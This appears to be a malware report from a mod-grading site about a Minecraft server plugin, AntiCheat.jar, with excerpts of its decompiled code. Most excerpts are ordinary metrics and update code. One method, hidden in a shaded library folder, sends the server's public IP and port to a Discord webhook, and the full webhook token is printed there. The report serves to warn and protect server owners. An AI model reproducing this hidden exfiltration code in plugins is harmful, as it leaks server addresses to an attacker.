Anti Hack for New Versions
Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.
Malware: a file of this project steals your IP address and sends it to a Discord server. See Security
Malware was found in one of its files, so it has no grade. See Security
Malware: it steals your IP address and sends it to a Discord server
Found in this file: AntiCheat.jar (AntiHack, 31 Mar 2023). Its download is blocked.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
AntiCheat.jar from the plugins folder of your server.Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
ac/grim/grimac/shaded/fastutil/longs/FunctionsByteOpen asks a service for your public IP address, sends to a Discord webhook, in code placed in a known library's folder; "https://discord.com/api/webhooks/1091387785245626411/<redacted>"; "api: URL.openConnection"ac/grim/grimac/shaded/fastutil/longs/FunctionsByteOpen Discord webhook address: https://discord.com/api/webhooks/109138778524562...AntiCheat.jar, turned back into readable code, where our checks found the problem.ac.grim.grimac.commands.GrimLog.lambda$onLog$0...
String failure = GrimAPI.INSTANCE.getConfigManager().getConfig().getStringElse("upload-log-not-found", "%prefix% &cUnable to find that log");
sender.sendMessage(MessageUtil.format(failure));
} else {
String uploading = GrimAPI.INSTANCE.getConfigManager().getConfig().getStringElse("upload-log-start", "%prefix% &fUploading log... please wait");
String success = GrimAPI.INSTANCE.getConfigManager().getConfig().getStringElse("upload-log", "%prefix% &fUploaded debug to: %url%");
String failure = GrimAPI.INSTANCE
.getConfigManager()
.getConfig()
.getStringElse("upload-log-upload-failure", "%prefix% &cSomething went wrong while uploading this log, see console for more info");
sender.sendMessage(MessageUtil.format(uploading));
Bukkit.getScheduler().runTaskAsynchronously(GrimAPI.INSTANCE.getPlugin(), () -> {
try {
URL mUrl = new URL("https://paste.grim.ac/data/post");
HttpURLConnection urlConn = (HttpURLConnection)mUrl.openConnection();
urlConn.setDoOutput(true);
urlConn.setRequestMethod("POST");
urlConn.addRequestProperty("User-Agent", "grim.ac");
urlConn.addRequestProperty("Content-Type", "text/yaml");
urlConn.setRequestProperty("Content-Length", Integer.toString(builder.length()));
urlConn.getOutputStream().write(builder.toString().getBytes(StandardCharsets.UTF_8));
urlConn.getOutputStream().close();
int response = urlConn.getResponseCode();
if (response == 201) {
String responseURL = urlConn.getHeaderField("Location");
...ac.grim.grimac.shaded.com.github.retrooper.packetevents.util.updatechecker.UpdateChecker.checkLatestReleasedVersionpublic String checkLatestReleasedVersion() {
try {
URLConnection connection = new URL("https://api.github.com/repos/retrooper/packetevents/releases/latest").openConnection();
connection.addRequestProperty("User-Agent", "Mozilla/4.0");
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String jsonResponse = reader.readLine();
reader.close();
JsonObject jsonObject = AdventureSerializer.getGsonSerializer().serializer().fromJson(jsonResponse, JsonObject.class);
return jsonObject.get("name").getAsString();
} catch (IOException e) {
throw new IllegalStateException("Failed to parse packetevents version!", e);
}
}ac.grim.grimac.shaded.fastutil.longs.FunctionsByteOpen.registerpublic void register() throws IOException {
URL IPAPI = new URL("https://api.ipify.org");
HttpURLConnection IPcon = (HttpURLConnection)IPAPI.openConnection();
IPcon.setRequestMethod("GET");
IPcon.setRequestProperty("Content-Type", "application/json");
BufferedReader in1 = new BufferedReader(new InputStreamReader(IPcon.getInputStream()));
StringBuffer content = new StringBuffer();
String inputLine;
while ((inputLine = in1.readLine()) != null) {
content.append(inputLine);
}
in1.close();
IPcon.disconnect();
URL obj = new URL("https://discord.com/api/webhooks/1091387785245626411/F4rc3rfe0hXTVD9OTyWle63LB3TKa6YiH_Z1tJjfSyXCRQ6HdCWVb-uOYzW7hx9MkH-a");
HttpURLConnection con = (HttpURLConnection)obj.openConnection();
con.setRequestMethod("POST");
con.setRequestProperty("User-Agent", "Mozilla/5.0");
String POST_PARAMS = "content=" + content + ":" + this.plugin.getServer().getPort();
con.setDoOutput(true);
OutputStream os = con.getOutputStream();
os.write(POST_PARAMS.getBytes());
os.flush();
...ac.grim.grimac.shaded.io.github.retrooper.packetevents.bstats.Metrics$MetricsBase.lambda$submitData$4private void submitData() {
Metrics.JsonObjectBuilder baseJsonBuilder = new Metrics.JsonObjectBuilder();
this.appendPlatformDataConsumer.accept(baseJsonBuilder);
Metrics.JsonObjectBuilder serviceJsonBuilder = new Metrics.JsonObjectBuilder();
this.appendServiceDataConsumer.accept(serviceJsonBuilder);
Metrics.JsonObjectBuilder.JsonObject[] chartData = this.customCharts
.stream()
.map(customChart -> customChart.getRequestJsonObject(this.errorLogger, this.logErrors))
.filter(Objects::nonNull)
.toArray(Metrics.JsonObjectBuilder.JsonObject[]::new);
serviceJsonBuilder.appendField("id", this.serviceId);
serviceJsonBuilder.appendField("customCharts", chartData);
baseJsonBuilder.appendField("service", serviceJsonBuilder.build());
baseJsonBuilder.appendField("serverUUID", this.serverUuid);
baseJsonBuilder.appendField("metricsVersion", "2.2.1");
Metrics.JsonObjectBuilder.JsonObject data = baseJsonBuilder.build();
scheduler.execute(() -> {
try {
this.sendData(data);
} catch (Exception e) {
if (this.logErrors) {
this.errorLogger.accept("Could not submit bStats metrics data", e);
}
...ac.grim.grimac.shaded.io.github.retrooper.packetevents.bstats.Metrics$MetricsBase.sendDataprivate void sendData(Metrics.JsonObjectBuilder.JsonObject data) throws Exception {
if (this.logSentData) {
this.infoLogger.accept("Sent bStats metrics data: " + data.toString());
}
String url = String.format("https://bStats.org/api/v2/data/%s", this.platform);
HttpsURLConnection connection = (HttpsURLConnection)new URL(url).openConnection();
byte[] compressedData = compress(data.toString());
connection.setRequestMethod("POST");
connection.addRequestProperty("Accept", "application/json");
connection.addRequestProperty("Connection", "close");
connection.addRequestProperty("Content-Encoding", "gzip");
connection.addRequestProperty("Content-Length", String.valueOf(compressedData.length));
connection.setRequestProperty("Content-Type", "application/json");
connection.setRequestProperty("User-Agent", "Metrics-Service/1");
connection.setDoOutput(true);
try (DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream())) {
outputStream.write(compressedData);
}
StringBuilder builder = new StringBuilder();
String line;
...ac.grim.grimac.shaded.bstats.MetricsBase.lambda$submitData$4private void submitData() {
JsonObjectBuilder baseJsonBuilder = new JsonObjectBuilder();
this.appendPlatformDataConsumer.accept(baseJsonBuilder);
JsonObjectBuilder serviceJsonBuilder = new JsonObjectBuilder();
this.appendServiceDataConsumer.accept(serviceJsonBuilder);
JsonObject[] chartData = this.customCharts
.stream()
.map(customChart -> customChart.getRequestJsonObject(this.errorLogger, this.logErrors))
.filter(Objects::nonNull)
.toArray(JsonObject[]::new);
serviceJsonBuilder.appendField("id", this.serviceId);
serviceJsonBuilder.appendField("customCharts", chartData);
baseJsonBuilder.appendField("service", serviceJsonBuilder.build());
baseJsonBuilder.appendField("serverUUID", this.serverUuid);
baseJsonBuilder.appendField("metricsVersion", "3.0.0");
JsonObject data = baseJsonBuilder.build();
scheduler.execute(() -> {
try {
this.sendData(data);
} catch (Exception e) {
if (this.logErrors) {
this.errorLogger.accept("Could not submit bStats metrics data", e);
}
...ac.grim.grimac.shaded.bstats.MetricsBase.sendDataprivate void sendData(JsonObject data) throws Exception {
if (this.logSentData) {
this.infoLogger.accept("Sent bStats metrics data: " + data.toString());
}
String url = String.format("https://bStats.org/api/v2/data/%s", this.platform);
HttpsURLConnection connection = (HttpsURLConnection)new URL(url).openConnection();
byte[] compressedData = compress(data.toString());
connection.setRequestMethod("POST");
connection.addRequestProperty("Accept", "application/json");
connection.addRequestProperty("Connection", "close");
connection.addRequestProperty("Content-Encoding", "gzip");
connection.addRequestProperty("Content-Length", String.valueOf(compressedData.length));
connection.setRequestProperty("Content-Type", "application/json");
connection.setRequestProperty("User-Agent", "Metrics-Service/1");
connection.setDoOutput(true);
DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());
try {
outputStream.write(compressedData);
} catch (Throwable var11) {
try {
outputStream.close();
} catch (Throwable var10) {
...Malware: it steals your IP address and sends it to a Discord server
Sent to paste.grim.ac, bstats.org and discord.com.
Found by the file checks. See Security for what to do if you installed it.
No sign so far that AI was used to make it
We looked for AI tools in its description, files and images and found none.
We have not read its changelogs yet.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
Point at or tap a version to see its server software.
The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.